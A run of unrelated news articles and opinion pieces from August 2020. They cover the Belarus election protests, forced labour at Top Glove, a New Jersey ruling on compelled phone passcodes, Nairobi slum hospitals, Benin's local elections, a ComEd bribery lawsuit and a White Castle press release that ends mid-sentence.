abrupt about-face for Tsikhanouskaya hours after she dismissed the official results of Sundays election that showed President Alexander Lukashenko winning a sixth term with a landslide 80% of the vote, and her getting just 10%. Her campaign aides said she made the unexpected moves under duress. Tsikhanouskayas husband, an opposition blogger who had hoped to run for president, has been jailed since his arrest in May. It's very difficult to resist pressure when your family and all your inner circle have been taken hostages, Maria Kolesnikova, a top associate of Tsikhanouskaya's, said. The former candidate's campaign put out a statement urging authorities to engage in a dialogue with protesters on a peaceful transition of power. The authoritarian Lukashenko, who has ruled the ex-Soviet nation of 9.5 million with an iron fist since 1994, has derided the opposition as sheep manipulated by foreign masters and vowed to continue taking a tough position on protests despite Western rebukes over the election. Thousands of opposition supporters protesting the election results encountered aggressive police tactics in the capital of Minsk and several other Belarusian cities. A man wounded during clashes with police speaks to people during a mass protest following presidential elections in Minsk, Belarus, Monday, Aug. 10, 2020. Thousands of people have protested in Belarus for a second straight night after official results from weekend elections gave an overwhelming victory to authoritarian President Alexander Lukashenko, extending his 26-year rule. A heavy police contingent blocked central squares and avenues, moving quickly to disperse protesters and detained dozens. (AP Photo/Sergei Grits) On Monday, a protester died amid clashes in Minsk and scores were injured as police used tear gas, flash-bang grenades and rubber bullets to disperse them. Belarus health officials said over 200 people have been hospitalized with injuries following the protests, and some underwent surgery. Police moved quickly Tuesday to separate and disperse scattered groups of protesters in the capital, but new pockets of resistance kept mushrooming across downtown Minsk. You can shut Tsikhanouskaya up, but you won't be able to intimidate and shut an entire nation up. We continue peaceful protests and don't recognize Lukashenko as president, said 24-year-old protester Denis Kruglyakov. Officers detained dozens, including some of those who brought flowers to the place where the protester died the previous night. Human rights group Viasna also reported mass detentions in the cities of Grodno, Brest and Vitebsk. Motorists were blaring horns in a sign of support, and some used their cars to block police vehicles passage. The Interior Ministry warned that such vehicles will be impounded and their owners could face criminal charges. A woman mourns at the place where a protester died amid the clashes with police, in Minsk, Belarus, Tuesday, Aug. 11, 2020. Thousands of opposition supporters who also protested the results met with a tough police crackdown in Minsk and several other Belarusian cities for two straight nights. Belarus' health officials said over 200 people have been hospitalized with injuries following the protests, and some underwent surgery. (AP Photo/Sergei Grits) The ministry said Tuesday more than 2,000 people were detained across the country for taking part in unsanctioned protests on Monday evening and overnight. It added that 21 police officers were injured in clashes with protesters, and five of them were hospitalized. The previous day, the ministry reported more than 3,000 detentions and said 89 people were injured, including 39 law enforcement officers. Several journalists have been injured, and some were detained by police. On Tuesday, police seized memory cards from a group of photographers, including an AP photographer, as they were making shots of the crackdown. As the Internet has remained down across the country for a third straight day in what appears to be an attempt by the authorities to make it harder for protesters to co-ordinate their efforts, thousands of Belarusians have struggled to find out what happened to their missing relatives. We are still waiting for any sign or information, said Lena Radomanova, who has been searching for a friend who has disappeared. The crackdown drew harsh criticism from the European Union and the United States. Belarusian Interior Ministry soldiers watch from a ruff as friends and relatives of those detained during mass rally following presidential election gather at a detention center in Minsk, Belarus, Tuesday, Aug. 11, 2020. The Belarusian Interior Ministry said Tuesday that more than 2,000 people were detained across the country for taking part in unsanctioned protests on Monday evening and overnight. It added that 21 police officers were injured in clashes with protesters, and five of them were hospitalized. (AP Photo/Sergei Grits) EU foreign policy chief Josep Borrell warned Tuesday that the 27-nation bloc is mulling action against those involved in the police crackdown or against officials who might have interfered with the vote. Borrell said the elections "were neither free nor fair, and called on Minsk to begin a dialogue with society to avoid further violence. In 2016, the EU lifted most of the sanctions it slapped on Belarus in 2004 after Lukashenko, dubbed Europe's last dictator in the West, freed political prisoners and allowed protests. The United Nations on Tuesday expressed concern at reports of escalating violence in Belarus and again called on authorities to exercise restraint, to ensure respect for human rights, the democratic process, the rule of law. Economic damage caused by the coronavirus and Lukashenkos swaggering response to the pandemic, which he airily dismissed as psychosis, has fueled broad anger, helping swell the opposition ranks and prompting the Belarusian leader to unleash a renewed crackdown on dissent. Tsikhanouskaya, who lacks any prior political experience, entered the race after her husband's arrest. She managed to unite fractured opposition groups and draw tens of thousands to her campaign rallies the largest opposition demonstrations in Belarus since the 1991 collapse of the Soviet Union. In the video statement, Tsikhanouskaya thanked her supporters for backing her candidacy, but added that the people of Belarus have made their choice. Belarusians, Im urging you to show common sense and respect for the law, she said without emotion, reading a text without raising her eyes from the paper. I dont want blood and violence. Im asking you not to confront the police and not take to squares to put your lives in danger. Take care of yourselves and your relatives. Hours before that, Tsikhanouskaya disputed the vote results and submitted a formal request for a recount to the Central Election Commission. She stayed in the commission headquarters for hours and faced senior law enforcement officers, according to her campaign aides. She wasnt seen again until showing up on Tuesday in Lithuania where she had previously sent her children after receiving threats early in the campaign. One aide, Olga Kovalkova, said the about-face came under pressure from the authorities who made Tsikhanouskaya read a prepared statement and then drove her out of the country. We dont know what kind of pressure she was subjected to and how they tried to break her, Kovalkova said. She couldnt have said it on her own. She was reading a prepared text. She said that Tsikhanouskaya left the country with her campaign chief, Maria Moroz, who had been detained over the weekend. Several other campaign aides have remained in custody. Lithuanian Foreign Minister Linas Linkevicius said the videos posted by Tsikhanouskaya had been recorded in Belarus before her journey to Vilnius. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. I thought that the campaign had tempered me and made me so strong that I could resist anything, Tsikhanouskaya said in the first of her two videos, her face gaunt and her voice breaking. But it appears that I have remained the same weak woman that I was before. Tsikhanouskaya's ally Kolesnikova warned in a video statement Tuesday evening that the protests will continue and urged the authorities to stop the violent crackdown. We ask the government not to ignore the will of the people, not to drown it in water from water cannons, not to deafen it with grenades, not to mutilate it with bullets, not to knock it out with truncheons, Kolesnikova said. These people won't disappear. They will no longer be able to forget about what's happening. They will no longer live like they used to. They need changes. ___ Vladimir Isachenkov and Daria Litvinova in Moscow, Liudas Dapkus in Vilnius, Lithuania, Lorne Cook in Brussels, Mike Corder in The Hague, Vanessa Gera in Warsaw and Edith Lederer in the United Nations contributed to this report. Share this article Whatsapp Facebook Twitter Linkedin Alex Dalziel (The Jakarta Post) Melbourne Tue, August 11, 2020 09:27 526 6657ac82168da9fa101c8a4066d00be7 3 Opinion workers-exploitation,workers-protection,COVID-19,labor-issues Free The demands of COVID -19 are placing a strain on the workforce at the bottom of global manufacturing supply chains, often crucial to the pandemic response. Most recently, the plight of the vulnerable workers underpinning the worlds COVID-19 response has been brought back into the public discussion after United States Customs and Border Protection (USCBP) imposed a detention order on products from Malaysian medical glove manufacturer Top Glove. USCBP told ABC News that the decision was, based upon reasonable evidence of forced labor in the manufacturing process,. This should come as no surprise to anyone familiar with the company, which was the subject of an investigation by The Guardian that revealed widespread exploitation of workers in its Malaysian factories. The International Labor Organization (ILO), the data of which was used by USCBP to justify the import ban, estimates that 24.9 million people are forced into labor situations worldwide. Forced labor situations like the " COVID-19 Heroes" scheme by Top Glove, which saw workers work seven days a week on a voluntary base under the auspices of being a "hero" in the fight against COVID-19. The rhetoric surrounding the scheme, which was implemented to skirt labor laws, is sickening enough, the workers making the gloves and masks that protect us from spreading COVID-19 deserve better. The sharp decrease in demand for certain sectors of manufacturing has resulted in the drying up of available work, meaning millions of factory workers have either been laid off or placed on temporary leave. This creates an environment ripe for potential exploitation as workers are forced into work due to a fear of losing income, or a need to cover gaps left by a reduced workforce. Those returning to work often come back to factories where physical distancing is not enforced and inadequate hygiene standards are in place. Garment workers in Bangladesh have reportedly had to go on strike for hand washing stations and face masks, a bare minimum for effective disease prevention. Migrant workers make up a large part of these workforces and are at a greater risk for exposure due to living circumstances. Often migrant workers live in dormitories or cramped housing, with kitchens, toilets and beds often shared by many people. Much research has been conducted into the effect these living conditions have on the spread of COVID-19. In Singapore, a second wave of cases has been attributed to the spreading of COVID-19 among migrant workers. When Singapore announced 3,000 new cases in April, it was found that 80 percent were linked to migrant worker dormitories. The pandemic has exposed the parts of modern society that we need to focus more attention on. The living circumstances of migrant and poorer workers is something that is not sustainable going into an uncertain future. Neglecting protections for those at the bottom end of supply chains undermines the global pandemic response. There needs to be a concerted effort from those who buy the goods, the suppliers and producers, and the workers, to address the issue of forced labor. Groups from every level of the supply chain should work together to provide a safer and more dignified working environment. What we are seeing in the case of Top Glove is a dismissal of the flaws ingrained in the system. In a statement to the media, Top Gloves CEO blamed activists and foreign media with an agenda on the import ban. From this response it's clear to see that Top Glove wishes to wash its hands clean of any responsibility for workplace practices that its industry has become unfortunately notorious for. It still remains to be seen the exact reasoning behind the export ban, or what processes Top Glove is enacting to fully stamp out these instances of exploitation. The manufacturer seems to be playing ball with labor organizations and hopefully this leads to improvements in workers welfare. While the fight against COVID-19 is far from over, we must start thinking about what we want the world to look like in its aftermath. Right now the world is in urgent need of more face masks, gloves, and protective gowns to stock the fight against the pandemic. Those who make those supplies should not be subject to insecure work situations, or worse still, be actively exposed to the virus they are working to protect the world from. The urgency to stamp out the spread of COVID-19 makes the potential entrenchment of unethical practices a reality. Alternatively, the pandemic provides an opportunity to come together as a global community and show that an effective response does not need to be separate from better treatment of our most vulnerable. *** The writer is a Melbourne-based freelance journalist with work published in various media organizations, both international and domestic. Disclaimer: The opinions expressed in this article are those of the author and do not reflect the official stance of The Jakarta Post. New Jerseys highest court ruled Monday that authorities can compel defendants to turn over their phone passcodes in order for them to retrieve information from the device through a search warrant. The state Supreme Courts 4-3 ruling was a result of the case of Robert Andrews, a former Essex County Sheriffs officer, who alleged it was unconstitutional to make him provide his cell phone passcode to authorities as they investigated him for aiding a man who was under investigation for drug trafficking. Authorities executed a search warrant on Andrews phones, but were not able to access information without the passcodes. The majority of the state Supreme Court concurred with Justice Lee Solomons opinion that found neither federal nor state protections against compelled disclosure shield Andrewss passcodes. The opinion says that the lawfully issued search warrants, which Andrews did not challenge, gives the state the right to the cellphones purportedly incriminating contents. The ruling now sets a precedent across the state that authorities have the ability to compel criminal defendants to disclose their cell phone passcodes in order to retrieve information from the device they were seeking to obtain with a search warrant, legal experts say. Attorneys and advocates who argued forcing the disclosure of a defendants passcode was unconstitutional said they view the ruling as a blow to privacy and a defendants constitutional right to remain silent and not self-incriminate. (The ruling) is taking a stick of dynamite to that fundamental right and imploding it from within, said Matt Adams, vice president of Association of Criminal Defense Lawyers of New Jersey. In the dissenting opinion, authored by Justice Jaynee LaVecchia, the justice raises concerns that this an example of citizens right to privacy constantly shrinking and a direct violation of (Andrews) right not to testify against himself. We are at a crossroads in our law, she wrote. Will we allow law enforcement -- and our courts as their collaborators -- to compel a defendant to disgorge undisclosed private thoughts -- presumably memorized numbers or letters -- so that the government can obtain access to encrypted smartphones? Charles J. Sciarra, Andrews attorney, said in a statement that the decision is a major defeat to the United States Constitution when it is already under substantial attack.' Its time to rethink whether you should keep anything simply private or personal on a personal electronic device because if the government wants it they can now get it, Sciarra said. A number of organizations, including the Association of Criminal Defense Lawyers of New Jersey, New Jersey State Bar Association, and the American Civil Liberties Union, all argued that criminal defendants should be shielded from disclosing information that exists only in their mind, like a phone passcode. Adams, who argued the case on behalf of the Association of Criminal Defense Lawyers of New Jersey, said he hopes the U.S. Supreme Court takes on the case and reverses the decision. This is a fundamental matter of individual rights that should not have been decided this way, he said. Brandon Minde, the chair of the New Jersey State Bar Associations Criminal Law Section, said the organization agrees with the dissenting opinion and will continue to monitor how this decision affects privacy concerns for New Jersey residents. In a world where right to privacy is constantly shrinking, our Constitutional rights must not, Minde said. Justice LaVecchia wrote that forcing Andrews to turn over his passcode raises Constitutional issues because Andrews is being asked to essentially turn over what is presumed to be incriminating information, in direct violation of his right not to testify against himself. But, according to the majority opinion, Andrews is not protected against self-incrimination because the search warrants had enough evidence to provide ample support to compel Andrews to turn over his passcode. This was no fishing expedition, the majority opinion says. The case As authorities were conducting a narcotics investigation into Quincy Lowery in 2015, Lowery provided investigators with information: he told detectives that Andrews was providing him information about their investigation and advice to avoid criminal exposure, according to court documents. Lowery allegedly told authorities that he and Andrews were members of the same motorcycle club, and the two regularly talked on FaceTime, according to the opinion. During one of those calls, Lowery said Andrews told him to get rid of his cell phones because law enforcement was doing wiretaps. Lowery said Andrews also provided information on law enforcement officers who were following Lowery as a part of their investigation and to check if his car was being tracked, according to the opinion. According to the opinion, the state obtained communication data warrants for cellphone numbers belonging to Andrews and the man under investigation. The warrants revealed 114 cellphone calls and text messages between them over a six-week period. Andrews was indicted in 2016 for official misconduct, hindering and obstruction. Lowery said much of what he told investigators could be confirmed by contents of phone communications with Andrews, however, neither state or federal authorities were able to to search Andrewss two iPhones without his passcode because they had an operating system that makes them extremely difficult to access without the passcodes, according to the opinion. (Lowery said communications were gone from his phone after resetting it.) Prosecutors asked the court to require Andrews to provide his passcodes so the phones could be searched. Andrews opposed the motion, claiming that disclosure of his passcodes violates the protections against self-incrimination. However, the trial court ordered Andrews do so, but limited the search of his phone and ordered that when conducted, the search be performed by the State, in camera, in the presence of Andrewss defense counsel. Andrews appealed the order, but the states Appellate Divisions 2018 ruled against Andrews. The court found that using self-incrimination as a defense to not turn over a cell phone passcode would essentially preclude the State from obtaining the contents of any passcode-restricted device as part of a criminal investigation. After the state Supreme Courts ruling Monday, Andrews criminal case, which is still in the pretrial phase due to the legal battle, will move forward. He must turn over his passcodes so that the Essex County Prosecutors Office can execute the warrants on his phones, a spokeswoman for the prosecutors office said. Sciarra, Andrews attorney, did not respond to multiple requests for comment on if he plans to appeal the decision to the U.S. Supreme Court or if Andrews will oblige with the order to turn over his passcodes. Chief Justice Stuart Rabner and Justices Anne M. Patterson and Faustino J. Fernandez-Vina joined the majority opinion, while Justices Barry T. Albin and Walter F. Timpone joined the dissenting opinion. Our journalism needs your support. Please subscribe today to NJ.com. Joe Atmonavage may be reached at jatmonavage@njadvancemedia.com. When Nairobi Metropolitan Services (NMS) director-general Mohammed Badi promised to build 24 hospitals in the citys slums in 100 days, anyone would have been forgiven for dismissing the pledge as mere lip service. Nairobians, and Kenyans at large, have been promised the moon before. They have been promised a Mass Rapid Urban Transit System, including a light rail. READ ALSO: Russia approves possible world's first COVID-19 vaccine ahead of trials completion President Uhuru Kenyatta is working towards ensuring the restoration of the belief that things can still be done right. Photo: State House. Source: Facebook READ ALSO: Untapped brains: Homa Bay youths who trained in agricultural technology in Israel decry lack of employment They have also been promised proper roads, hospitals and schools but seen those who made the pledges exit office without the least of effort to actualize them. The residents have helplessly watched as social amenities and infrastructure built by the colonial regime degenerated into a state of disrepair as billions of shillings set aside for development ended up in the pockets of looters. The looters would then barefacedly return with handouts and more empty political rhetoric whenever they needed votes, all as children continued to die of treatable diseases and illiteracy levels continued to rise. But President Uhuru Kenyatta, the force behind NMS, is here to prove us all wrong; to restore the belief that things can still be done right. READ ALSO: Marsabit cyclist to ride across counties to create COVID-19 awareness after losing kin to disease Nairobi Metropolitan Services (NMS) director-general Mohammed Badi promised to build 24 hospitals in 100 days. Photo: Daily Nation. Source: UGC Even before Kenyans were through with questioning the substance of Badis promise, the head of state has already swung into action and commissioned the construction of three Level-3 hospitals in the citys informal settlements. In an instant, Kianda and Muthua settlements in Uthiru and Kibra areas will now be home to 16-bed capacity hospitals while Maendeleo Village in Mukuru Kwa Reuben will boast of a 24-bed facility. Seventeen other settlements inhabited by the low-class, among them Viwandani, Majengo, Mathare, Kayole, Soweto, Korogocho, Kawangware, Gitare Marigu, Mukuru Kwa Njenga and Githurai 44, will host similar facilities where quality government health services will be accessed at affordable, if any, cost. While the president has since 2013 invested heavily in improving access to quality and affordable healthcare services across the country, the focus on slums is a game-changer that will save thousands of lives. READ ALSO: Balala revokes Pauline Njoroge's appointment following her social media post This might sound farfetched to outsiders, but not to the millions of underprivileged slum dwellers who have over the decades, known proper healthcare as a luxury well beyond their reach. With no functional public health centres in the slums, and with lack of medical cover locking them out of quality private hospitals, they have been left at the mercy of quacks operating substandard facilities. Those with easily treatable diseases like malaria typhoid often rush to the public Kenyatta National Hospital (KNH) and Mama Lucy Hospital, making a mockery of what are ideally major referral hospitals. The high cost of medicine in slum chemists has seen many accustom to the idea of buying cheap yet expired drugs from local shops when they are sick, with a few recovering if they are lucky enough to get the right medication. READ ALSO: School heads disappointed as Ministry of Education reverses funds previously released to them So bad is the situation that a study done in 2019 showed nearly half of newborns in Nairobi lack access to quality healthcare, resulting in high mortality rates averaging 39 deaths per 1,000 live births. The study by the Kenya Medical Research Institute (KEMRI) Welcome Trust showed only about 44% of 24,000 seriously-ill children in Nairobi get access to quality healthcare. This no doubt illustrates the pain of slum dwellers whenever a disease strikes. The presidents intervention is thus a critical undertaking that will not only save lives and put smiles on the faces of the urban poor but also open the eyes of all county governments with regard to healthcare services in slums. READ ALSO: Man buys Porsche worth over KSh 15M using fake cheque printed from his computer Even more inspiring is the fact that the facilities are a fraction of the Uhuru's grand plan to transform the outlook of the city and take services to the doorsteps of ordinary Kenyans; the taxpayers. In its first 100 days, the NMS managed to give Nairobi a major facelift, dwarfing the work done by the regimes of governors Evans Kidero and Mike Sonko in the eight years since the advent of devolution in 2013. With a shoestring budget, Badi has managed to restore Nairobis lost glory through concerted garbage collection, clearing the mounds of solid waste the city had become synonymous with in recent years. With little effort, and without broadcasting his achievements on social media, Badi transformed the city and made impressive achievements in the transport, roads and public works sector. READ ALSO: COVID-19 effects among causes of people collapsing, suddenly dying Much-needed road construction and rehabilitation works are currently ongoing in different parts of the county. To ensure equitable water distribution service, NMS is also sinking community boreholes, extending water piping and using water bowsers to provide free clean drinking water, which had become a rare commodity for many. This is perhaps more than Nairobians would have hoped for given the dereliction of yesteryears. While NMS deserves credit for its apolitical undertaking towards making Nairobi a model city, Kenyans should rally behind Uhuru as his government strives to improve the living standards of Nairobi residents. The writer is Milan Kiplagat, a regular commentator on social, economic and political affairs. Do you have a groundbreaking story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690. Contact Tuko.co.ke instantly Source: TUKO.co.ke Share this article Whatsapp Facebook Twitter Linkedin Dzulfiqar Fathur Rahman (The Jakarta Post) Jakarta Tue, August 11, 2020 07:48 526 6657ac82168da9fa101c8a4066cf83d9 1 Business IDFC,united-states,investment,Coordinating-Maritime-Affairs-Ministry Free The United States International Development Finance Corporation (IDFC) has sent a letter to the government of Indonesia to provide more details on its plan to finance development projects in the country. Established in late 2019, the IDFC finances development projects in lower and middle-income countries. IDFC CEO Adam Boehler said in the letter dated July 31 that the agency was currently in talks with the US National Security Council (NSC). The council would lead the interagency coordination in the US to develop the partnership plans offered by Indonesia. The IDFC will channel its investment to projects in the pharmaceutical, defense, security and energy sectors as well as in Indonesias planned sovereign wealth fund a state-owned investment fund. [Coordinating Maritime Affairs and Investment Minister] Luhut really appreciated the positive response from the US via the IDFC and its interest in being a valuable partner for Indonesia. As [the US] requested, the government will provide further guidelines on cooperation in several sectors, Jodi Mahardi, the spokesperson of the minister, was quoted as saying in a statement on Thursday. The news comes around seven months after President Joko Jokowi Widodo announced in January that the IDFC was planning to allocate US$5 billion for investment in Indonesia. President Jokowi met with Boehler in the same month, expressing Indonesias need for the agencys investment, as the archipelagic country was seeking to expand its funding sources for infrastructure projects. The IDFC has expressed interest in investing in Indonesias planned sovereign wealth fund to finance infrastructure development across the archipelago. The United Arab Emirates, meanwhile, has expressed its interest in investing $6.8 billion in the fund. With regard to defense and security, the IDFC is interested in investing in projects in Riau Islands Natuna regency, which is located in the southern part of the contested South China Sea (SCS). The Office of the Coordinating Maritime Affairs and Investment Minister stated that, as a maritime country, Indonesia needed investment in its outermost islands, which would help protect the countrys sovereignty and enhance security. In line with the ongoing shift in the global supply chain, the government was also expecting an investment from American pharmaceutical companies wanting to relocate to Indonesia from China. 11.08.2020 LISTEN The Central Regional Director of the Youth Employment Agency, Madam Sarah Afful has debunked the motion that technical and Vocational training is reserved for 'Weak Minded' people in the society. Addressing the 7th Graduation Ceremony of Cake World and Beads Training Center at Cape Coast, Madam Sarah Afful noted that technical and Vocational skills have become lucrative work for people to better their lives and that of their families "Technical and Vocational training has created a lot of job opportunities for Ghanaians especially the youth. It is one area we must support financially to reduce unemployment from the system. We in the Youth Employment Agency have put in place a Programme aimed at connecting the Youth to Job Opportunities for them to make ends meet Am extremely happy to be associated with today's graduation because it is in line with the aims and objectives of the Youth Employment Agency. I want to urge the graduands to put into practice skills and knowledge they have acquired during the apprenticeship training period rather than soliciting financial support from people who may disappoint them" Madam Sarah Afful commended President of Cake World and Beads Training Center, Madam Forgive Kamasa for her initiative which she sad has enabled the youth to acquire Vocational skills and knowledge She appealed to government agencies, corporate bodies and individuals to engage the services of artisans in their operational areas to boost the local economy President of Cake World and Beads Training Center, Madam Forgive Kamasa, in her welcome address disclosed that she established the center to connect the youth to job opportunities She appealed to government agencies, philanthropist, civil society groups, Churches and individuals to support the institution admit more people into apprenticeship Among the graduands was a 50-year-old mother of 12 Children Madam Mabel Afful from Apewosika, a suburb of Cape Coast who had declared her appetite for vocational training Madam Sarah Afful donated a baking Oven as a set-up tool to the best graduand. Parakou (Benin) (AFP) - Benin staged local elections minus key opposition parties on Sunday with authorities pushing ahead despite the coronavirus threat and calls for a delay. The West African nation of 11 million this week lifted a raft of restrictions aimed at halting the spread of the virus. COVID-19 has caused 339 confirmed infections and two deaths in the country. The autonomous national election commission (CENA) made face masks mandatory for voters and enforced social distancing measures at polling stations. "We have received a lot of hydro-alcohol gels and masks for all voters," returning officer Mathieu Daki told AFP at N'dali in the north of the country. In the economic capital Cotonou where most coronavirus deaths have occurred, election officials ensured voters were more than a metre apart. However, not everyone appeared to have been reassured. In the city's 5th district election agent Dimitri Assani admitted voters were "few and far between". Donatien Sagbo Hounga wore a mask to enter the polling station, but said he was waiting "till there were no other voters in front of the election agents" to move forward to cast his vote. "It may seem excessive but it's necessary," Hounga said. Campaigning has been limited to posters and media appearances as candidates were forced to call off rallies due to a ban on gatherings of over 50 people. - Voters 'few and far between' - Critics warned the health risks were too high for a vote that opponents of President Patrice Talon insist should not be happening in the first place. Talon sported a mask when he voted early in Cotonou's Zongo-Ehuzu area. In the city's first district Arnold Migan voted early in the morning. "With the threat from COVID-19 it's best to vote quickly and go home before a lot of people arrive," he said. Benin, seen as one of the region's most stable democracies, has been in political crisis since a disputed parliamentary poll last April sparked protests. Story continues Talon, a former business magnate who came to power in 2016, has been accused of a crackdown that drove key rivals into exile. Parties allied to the president won all the seats at the polls last year after opposition groups were effectively banned from standing but turnout was only 25 percent. Now leading opposition parties again find themselves barred from the vote for control of 77 councils across the country. The exclusion drew a legal challenge from Talon opponent Sebastien Ajavon, a businessman living in exile after he was sentenced to prison on drug charges in Benin. The regional African Court of Human and Peoples' Rights ruled the vote should be suspended as it was not inclusive. But Benin disregarded the ruling and severed some ties with the court in protest at the decision. Opponents called on voters to boycott the poll over the political situation and the risks from coronavirus. Many among the electorate appeared set to heed the call to stay home given the result looks certain to go in favour of those backing Talon. In Cotonou's Cadjehoun area only about 30 people had voted by midday out of 400 registered there. Final results from the election are expected within a week. Foreign Minister Mohammad Javad Zarif on Monday said that the Islamic Republic of Iran will make use of various means to release its frozen funds in some countries, Trend reports citing IRNA. The top diplomat told reporters that barter trade is one of the approaches for achieving the goal, noting that "we will negotiate for the funds and will follow up on the issue if necessary through complaints in the international courts". A number of ways have been found to this end, he said, adding that a few countries have returned some of Irans funds so far. The death of little Shahid caused by the growing act of unprofessionalism, lack of humanity, and gross unreasonable conduct of some health professionals in the Wa Municipal hospital cannot be swept under the carpet. The unpleasant story of the Wa Municipal hospital has been on the news and lips of people within the Wa Municipality and neighbouring Districts that visit the facility. We have been witnesses to some nurses and other health worker's conduct towards us and some have shared their unpleasant experiences, yet no concrete steps have been taken to addressed those anomalies. We the good people of Wa deserve better and some of us have chosen the path to prompt stakeholders and or duty barriers to wake up from their slumber and act decisively. I am a young father and the love of a child cannot be felt and replaced with any wealthy thing on earth. So for health professionals at the so-called referral facility allow a four-year-old boy who was full of life to die from a snake bite based on their act of negligence for not providing the needed health care. They should not be forgiven! The proactive response to get a committee set to investigate and to report the findings and recommendations of the incidence have made a lot of people to remained silent and wait for the outcome of the report. Though the committee has done and a great job and the report is out and high confidential, my outfit can assure the public that, I have obtained the true copy of the reports and the committee work represent largely the happenings as was purported. Worryingly, no serious commitment and communique has been issued by the hospital management and the Ghana Health Service on action taken or initiated so far. We have lost Shahid in a painful manner, no matter what we do can bring him back to life. However, we have a duty to honour his soul by getting justice for him. In reference to the committee's report, some health workers must be dealt with for not been at the post to performed their duties and others have also been cited for not treating the case as emergency. The reports further revealed that the Wa Municipal hospital has in stock 27 anti-snake serum and due to negligence and unprofessionalism their actions have led to the death of little Shahid. If this is not a murder act, who best can you describe the death? I must express my disappointment in the family of little Shahid for being too quiet and slow in demanding justice for their lost son. We all need to seize this opportunity to demand quality and professional service from the Wa Municipal hospital. It would be glorifying to influence change and your name would be in scripted in the history book, rather than compromise family name and integrity. I know the family has noblemen, women, and high intellectuals that would not bow to political pressure to settle the matter as just a mere case. The conduct of the Wa Municipal hospital should not be forgiving. I wish in the coming days to see the family sue the Wa Municipal hospital for the death of Shahid. We must come together as a people and support the cause of justice and quality service. The slogan of we are one people is heightening indiscipline in our society and this behaviour must stop. We cannot continue to concealed crime and unprofessionalism. While we await any tangible actions from family to put pressure on authorities to act, we need answers to these questions; Why hasnt justice been served to little Shahid? Is the family of little Shahid been compromised after many visits by some authorities? Why hasnt the family sued the Wa Municipal Hospital? Why have the Ghana Health Service failed to act on the committee's report and recommendations? Are authorities saying little children life dont matter? How many lives have the Wa Municipal hospital might have wasted that we are not aware of? On the role of the in charge at the Bole CHPS it does appear from the committees reports that, his capacity and professional training, especially prescriptions are high questionable. The Ghana Health Service must as a matter of urgency address these concerns before another tragedy result from exacerbating peoples conditions. It is a pity and a shame that, some health workers misconducts and lack of pride in their chosen profession is becoming synonymous to the Upper West Region. This rot must stop. What amazed me at times is why some other Districts Hospitals or major hospitals in the Upper West Region not reporting needless acts of impunity, unlike the Wa Municipal hospital? Why is Wa Municipal hospital fast becoming unattractive? From allegations of poor administrative management to the unsanitary environment with overgrowth of weeds; from maternal issues to difficulty in obtaining blood; from unnecessary delay to the frustrations of some health workers conducts, the hospital has lost its integrity and some CHPS compounds are now even best preferred than going to the Wa Municipal hospital for maternity. We must continue the campaign to demand justice for Shahid who died in 9th November 2019 causing by health professionals who dont value the life our ordinary people. We must all stand against impunity and negligence. #Justice4Shahid Author; Tahiru Lukman Youth Activist, Devt Consultant & Pan- African Author Email: [email protected] Tel: 0209154057 / 0551018778 SPRINGFIELD A group of Commonwealth Edison ratepayers asked a federal judge Monday to force the utility company, House Speaker Michael Madigan and others to pay at least $450 million to be split among all those affected by an alleged extortion scandal. The number of affected ratepayers could rise to more than 3.8 million, according to a lawsuit filed by attorneys representing six residents that all resided in the Chicagoland area at some point in the last decade. In an agreement with the U.S. government to avoid prosecution, ComEd officials in July acknowledged they funneled money through contractors to colleagues and friends of Madigan. Those bribes which total more than $1.3 million according to a federal lawsuit filed Monday were made from 2011 through 2019 in an attempt to influence the longtime House gatekeeper to pass legislation favorable to the utility and kill other bills that would negatively impact the company. That racketeering scheme generated more than $150 million in profits for ComEd, according to the document all of which is money paid by customers in service charge hikes and fees implemented by laws for which ComEd and its parent company, Exelon Corporation, lobbied in support. ComEd distributes electricity to 70 percent of Illinoisans, according to the lawsuit, making the company the largest utility in the state. Exelon, ComEd, Madigan and various other officials participated in an operation designed to enrich themselves while defrauding consumers, the lawsuit alleges. That would be a violation of the Racketeer Influenced and Corrupt Organization Act, used by the federal government to prosecute and dismantle organized crime groups. If a judge in the Eastern Division of Illinois Northern District agrees, ComEd ratepayers could be compensated the $150 million the utility earned in profit threefold as well as attorneys fees. The Illinoisans who filed the case also requested a judge bar Madigan from being involved in any way with legislation affecting electricity in the state. They also want a judge to force him to resign as chairman of the Democratic Party of Illinois in order to prevent him from continuing to run the state party in a corrupt manner. He has held that position since 1998. ComEd understood that as Speaker of the House of Representatives, Madigan was able to exercise control over what measures were called for a vote in the House of Representatives and had substantial influence and control over fellow lawmakers concerning legislation, including legislation that affected ComEd, according to the lawsuit. A spokesperson for the speaker did not respond to a request for comment. One of the laws named in the court document was the Energy Infrastructure and Modernization Act, passed in 2011. It changed how utility companies could raise rates. Previously, ComEd would have to present proposed electricity delivery fees to the Illinois Commerce Commission, which would then conduct hearings comparable to judicial proceedings in which ComEd had to prove both the reasonableness and justness of its proposed rates, according to a court document. This system was used for almost a century. Once the act became law, utility companies could avoid that process and use a formula dictated by statute that spits out automatic rates annually, according to the filing. This authority expires at the end of 2022 unless the General Assembly renews it before then. Due to the change, electricity rates ComEd charges customers jumped by 35 percent over the past nine years, the group argued in their lawsuit. Those costs increased another 4 percent with the implementation of zero emission credit fees. ComEd and Exelon lobbied for the passage of the Future Energy Jobs Act in 2016, which included the charge, because it provided massive subsidies to the two nuclear power plants it owns in the Quad Cities and Clinton. The lawsuit alleges that in exchange for his help passing those legislative measures, Madigan wanted ghost-payroll jobs for his allies. At least 15 such associates were paid by ComEd through other contractors for jobs for which they did little to no work. These payments were also intended to influence and reward Madigan in connection with the advancement and passage of legislation favorable to ComEd in the Illinois General Assembly, according to a court document, and were funneled through other companies in part to assist ComEd in denying responsibility for employment oversight of Madigans associates. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 COLUMBUS, Ohio, Aug. 11, 2020 /PRNewswire/ -- As bars in cities, counties and states across the country close early in an attempt to slow the spread of coronavirus, White Castle has a solution for creating memorable moments another way: Enjoy "Cocktails and Craves" at home! "Cocktails and Craves" are White Castle's suggested food and drink pairings, each one featuring a delightful custom drink and a mouth-watering White Castle Slider. As bars in cities, counties and states across the country close early in an attempt to slow the spread of coronavirus, White Castle has a solution for creating memorable moments another way: Enjoy Cocktails and Craves at home! Cocktails and Craves are White Castles suggested food and drink pairings, each one featuring a delightful custom drink and a mouth-watering White Castle Slider. Cocktails and Craves are White Castles suggested food and drink pairings, each one featuring a 